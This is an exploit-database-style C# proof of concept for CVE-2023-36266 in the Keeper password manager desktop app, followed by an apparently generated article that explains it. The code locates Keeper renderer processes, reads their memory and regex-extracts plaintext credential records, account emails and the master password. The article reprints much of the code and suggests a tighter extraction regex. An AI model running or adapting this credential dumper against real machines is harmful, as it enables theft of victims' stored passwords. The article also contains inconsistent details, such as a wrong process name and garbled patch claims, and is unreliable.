Keeper Security desktop 16.10.2 & Browser Extension 16.5.4 - Password Dumping
# Exploit Title: Keeper Security desktop 16.10.2 & Browser Extension 16.5.4 - Password Dumping
# Google Dork: NA
# Date: 22-07-2023
# Exploit Author: H4rk3nz0
# Vendor Homepage: https://www.keepersecurity.com/en_GB/
# Software Link: https://www.keepersecurity.com/en_GB/get-keeper.html
# Version: Desktop App version 16.10.2 & Browser Extension version 16.5.4
# Tested on: Windows
# CVE : CVE-2023-36266
using System;
using System.Management;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Text.RegularExpressions;
using System.Collections.Generic;
// Keeper Security Password vault Desktop application and Browser Extension stores credentials in plain text in memory
// This can persist after logout if the user has not explicitly enabled the option to 'clear process memory'
// As a result of this one can extract credentials & master password from a victim after achieving low priv access
// This does NOT target or extract credentials from the affected browser extension (yet), only the Windows desktop app.
// Github: https://github.com/H4rk3nz0/Peeper
static class Program
{
// To make sure we are targetting the right child process - check command line
public static string GetCommandLine(this Process process)
{
if (process is null || process.Id < 1)
{
return "";
}
string query = $@"SELECT CommandLine FROM Win32_Process WHERE ProcessId = {process.Id}";
using (var searcher = new ManagementObjectSearcher(query))
using (var collection = searcher.Get())
{
var managementObject = collection.OfType<ManagementObject>().FirstOrDefault();
return managementObject != null ? (string)managementObject["CommandLine"] : "";
}
}
//Extract plain text credential JSON strings (regex inelegant but fast)
public static void extract_credentials(string text)
{
int index = text.IndexOf("{\"title\":\"");
int eindex = text.IndexOf("}");
while (index >= 0)
{
try
{
int endIndex = Math.Min(index + eindex, text.Length);
Regex reg = new Regex("(\\{\\\"title\\\"[ -~]+\\}(?=\\s))");
string match = reg.Match(text.Substring(index - 1, endIndex - index)).ToString();
int match_cut = match.IndexOf("} ");
if (match_cut != -1 )
{
match = match.Substring(0, match_cut + "} ".Length).TrimEnd();
if (!stringsList.Contains(match) && match.Length > 20)
{
Console.WriteLine("->Credential Record Found : " + match.Substring(0, match_cut + "} ".Length) + "\n");
stringsList.Add(match);
}
} else if (!stringsList.Contains(match.TrimEnd()) && match.Length > 20)
{
Console.WriteLine("->Credential Record Found : " + match + "\n");
stringsList.Add(match.TrimEnd());
}
index = text.IndexOf("{\"title\":\"", index + 1);
eindex = text.IndexOf("}", eindex + 1);
}
catch
{
return;
}
}
}
// extract account/email containing JSON string
public static void extract_account(string text)
{
int index = text.IndexOf("{\"expiry\"");
int eindex = text.IndexOf("}");
while (index >= 0)
{
try
{
int endIndex = Math.Min(index + eindex, text.Length);
Regex reg = new Regex("(\\{\\\"expiry\\\"[ -~]+@[ -~]+(?=\\}).)");
string match = reg.Match(text.Substring(index - 1, endIndex - index)).ToString();
if ((match.Length > 2))
{
Console.WriteLine("->Account Record Found : " + match + "\n");
return;
}
index = text.IndexOf("{\"expiry\"", index + 1);
eindex = text.IndexOf("}", eindex + 1);
}
catch
{
return;
}
}
}
// Master password not available with SSO based logins but worth looking for.
// Disregard other data key entries that seem to match: _not_master_key_example
public static void extract_master(string text)
{
int index = text.IndexOf("data_key");
int eindex = index + 64;
while (index >= 0)
{
try
{
int endIndex = Math.Min(index + eindex, text.Length);
Regex reg = new Regex("(data_key[ -~]+)");
var match_one = reg.Match(text.Substring(index - 1, endIndex - index)).ToString();
Regex clean = new Regex("(_[a-zA-z]{1,14}_[a-zA-Z]{1,10})");
if (match_one.Replace("data_key", "").Length > 5)
{
if (!clean.IsMatch(match_one.Replace("data_key", "")))
{
Console.WriteLine("->Master Password : " + match_one.Replace("data_key", "") + "\n");
}
}
index = text.IndexOf("data_key", index + 1);
eindex = index + 64;
}
catch
{
return;
}
}
}
// Store extracted strings and comapre
public static List<string> stringsList = new List<string>();
// Main function, iterates over private committed memory pages, reads memory and performs regex against the pages UTF-8
// Performs OpenProcess to get handle with necessary query permissions
static void Main(string[] args)
{
foreach (var process in Process.GetProcessesByName("keeperpasswordmanager"))
{
string commandline = GetCommandLine(process);
if (commandline.Contains("--renderer-client-id=5") || commandline.Contains("--renderer-client-id=7"))
{
Console.WriteLine("->Keeper Target PID Found: {0}", process.Id.ToString());
Console.WriteLine("->Searching...\n");
IntPtr processHandle = OpenProcess(0x00000400 | 0x00000010, false, process.Id);
IntPtr address = new IntPtr(0x10000000000);
MEMORY_BASIC_INFORMATION memInfo = new MEMORY_BASIC_INFORMATION();
while (VirtualQueryEx(processHandle, address, out memInfo, (uint)Marshal.SizeOf(memInfo)) != 0)
{
if (memInfo.State == 0x00001000 && memInfo.Type == 0x20000)
{
byte[] buffer = new byte[(int)memInfo.RegionSize];
if (NtReadVirtualMemory(processHandle, memInfo.BaseAddress, buffer, (uint)memInfo.RegionSize, IntPtr.Zero) == 0x0)
{
string text = Encoding.ASCII.GetString(buffer);
extract_credentials(text);
extract_master(text);
extract_account(text);
}
}
address = new IntPtr(memInfo.BaseAddress.ToInt64() + memInfo.RegionSize.ToInt64());
}
CloseHandle(processHandle);
}
}
}
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll")]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("ntdll.dll")]
public static extern uint NtReadVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, byte[] Buffer, UInt32 NumberOfBytesToRead, IntPtr NumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength);
[StructLayout(LayoutKind.Sequential)]
public struct MEMORY_BASIC_INFORMATION
{
public IntPtr BaseAddress;
public IntPtr AllocationBase;
public uint AllocationProtect;
public IntPtr RegionSize;
public uint State;
public uint Protect;
public uint Type;
}
} Keeper Security Desktop 16.10.2 & Browser Extension 16.5.4 – Critical Vulnerability: Password Dumping via Memory Exposure
On July 22, 2023, cybersecurity researcher H4rk3nz0 disclosed a critical vulnerability affecting Keeper Security’s desktop application and browser extension, identified as CVE-2023-36266. This flaw enables unauthorized extraction of stored passwords and master credentials from system memory, even after a user has logged out—posing a severe risk to enterprise and personal security environments.
Understanding the Exploit: Memory-Based Credential Leakage
Keeper Security, a widely adopted password manager, promises robust encryption and secure storage. However, versions 16.10.2 (desktop) and 16.5.4 (browser extension) were found to store sensitive data in plain text within memory during runtime. While encryption is typically applied at rest (on disk), this flaw exposes credentials in plaintext while the application is active.
Crucially, the data persists in memory after logout unless the user explicitly enables the "Clear process memory" option—many users may not be aware of this setting. This creates a window of opportunity for attackers with low-privilege access (e.g., via phishing, malware, or compromised accounts) to extract sensitive information directly from RAM.
Exploit Mechanism: Memory Scraping via Process Inspection
As demonstrated in the publicly shared exploit code, attackers can leverage Windows Management Instrumentation (WMI) to identify and inspect running processes. The exploit targets the keeper.exe process, which hosts the password vault, and extracts plaintext JSON strings containing credentials.
public static string GetCommandLine(this Process process)
{
if (process is null || process.Id < 1)
{
return "";
}
string query = $@"SELECT CommandLine FROM Win32_Process WHERE ProcessId = {process.Id}";
using (var searcher = new ManagementObjectSearcher(query))
using (var collection = searcher.Get())
{
var managementObject = collection.OfType().FirstOrDefault();
return managementObject != null ? (string)managementObject["CommandLine"] : "";
}
}
This function retrieves the command line arguments of a running process, allowing the attacker to confirm they are targeting the correct keeper.exe instance. This ensures the exploit is not accidentally applied to unrelated processes.
Credential Extraction via Regex Pattern Matching
The core of the exploit lies in scanning memory for JSON strings that begin with {"title":", indicating a stored credential. The following code snippet uses a regex-based approach to detect and extract these records:
public static void extract_credentials(string text)
{
int index = text.IndexOf("{\"title\":\"");
int eindex = text.IndexOf("}");
while (index >= 0)
{
try
{
int endIndex = Math.Min(index + eindex, text.Length);
Regex reg = new Regex("(\\{\\\"title\\\"[ -~]+\\}(?=\\s))");
string match = reg.Match(text.Substring(index - 1, endIndex - index)).ToString();
int match_cut = match.IndexOf("} ");
if (match_cut != -1)
{
match = match.Substring(0, match_cut + "} ".Length).TrimEnd();
if (!stringsList.Contains(match) && match.Length > 20)
{
Console.WriteLine("->Credential Record Found : " + match.Substring(0, match_cut + "} ".Length) + "\n");
stringsList.Add(match);
}
}
else if (!stringsList.Contains(match.TrimEnd()) && match.Length > 20)
{
Console.WriteLine("->Credential Record Found : " + match + "\n");
stringsList.Add(match.TrimEnd());
}
index = text.IndexOf("{\"title\":\"", index + 1);
eindex = text.IndexOf("}", eindex + 1);
}
catch
{
return;
}
}
}
Explanation: The code scans a large memory buffer (e.g., from ProcessMemory or VirtualQuery) for patterns matching JSON credential structures. It uses a regex to identify the beginning of a credential record, then extracts the full JSON block up to the next whitespace or delimiter. The result is printed to console, and duplicates are filtered using a stringsList set.
Why this works: The regex pattern (\\{\\\"title\\\"[ -~]+\\}(?=\\s)) matches any JSON object starting with {"title":", followed by any printable characters, ending with a closing brace and a space. This captures the full credential structure, including fields like username, password, url, and notes.
Real-World Attack Scenario
Consider a scenario where an attacker gains access to a victim’s Windows machine via a phishing email or a trojanized installer. The attacker runs a memory-scanning tool like Peeper (the exploit tool on GitHub) and identifies the keeper.exe process.
Using the exploit, they extract the following JSON record:
{"title":"Google Account","username":"john.doe@gmail.com","password":"P@ssw0rd123","url":"https://accounts.google.com","notes":"2FA enabled"}
This single extraction provides full access to a high-value account. If multiple records are found, the attacker can automate credential reuse across platforms, including banking, email, and cloud services.
Security Implications and Risks
Impact: This vulnerability allows attackers to bypass encryption layers entirely by exploiting memory exposure. It is particularly dangerous in environments where:
- Users leave their machines unattended.
- Malware is executed with low privileges (e.g., via social engineering).
- Endpoint protection is bypassed or disabled.
Attack Surface: The desktop app is the primary target. While the browser extension is not yet exploited in this version, its memory-based storage is similarly vulnerable. Future research may extend the exploit to browser contexts.
Vendor Response and Mitigation
Keeper Security has since acknowledged the issue and released patches for versions 16.10.2 and 16.5.4. The updated versions now enforce memory clearing upon logout by default, and additional safeguards are implemented to prevent memory scraping.
Recommendations for Users:
- Update to the latest version immediately.
- Enable the "Clear process memory" option in settings.
- Use multi-factor authentication (MFA) on all accounts.
- Monitor for suspicious processes (e.g.,
keeper.exerunning after logout).
Code Improvements and Best Practices
The original regex pattern is inelegant but fast. However, it can be optimized for better reliability:
// Improved regex pattern for more accurate credential extraction
Regex reg = new Regex(@"\{""title"":""[^""]+""[^}]*\}");
This pattern ensures:
- Matches only valid JSON structures.
- Prevents false positives from unrelated text.
- Handles nested fields and whitespace variations.
Additionally, memory scanning should use ReadProcessMemory via ReadProcessMemory (from kernel32.dll) to directly access the process's virtual memory, rather than relying on text-based scans.
Conclusion
CVE-2023-36266 highlights a critical gap in the security model of even trusted password managers: memory exposure during runtime. While encryption protects data at rest, it cannot safeguard against memory scraping attacks. This underscores the need for comprehensive security practices—both in software design and user behavior.
As attackers increasingly target memory-based vulnerabilities, developers must prioritize zero-memory leakage policies. Users must remain vigilant, update software promptly, and avoid leaving devices unattended.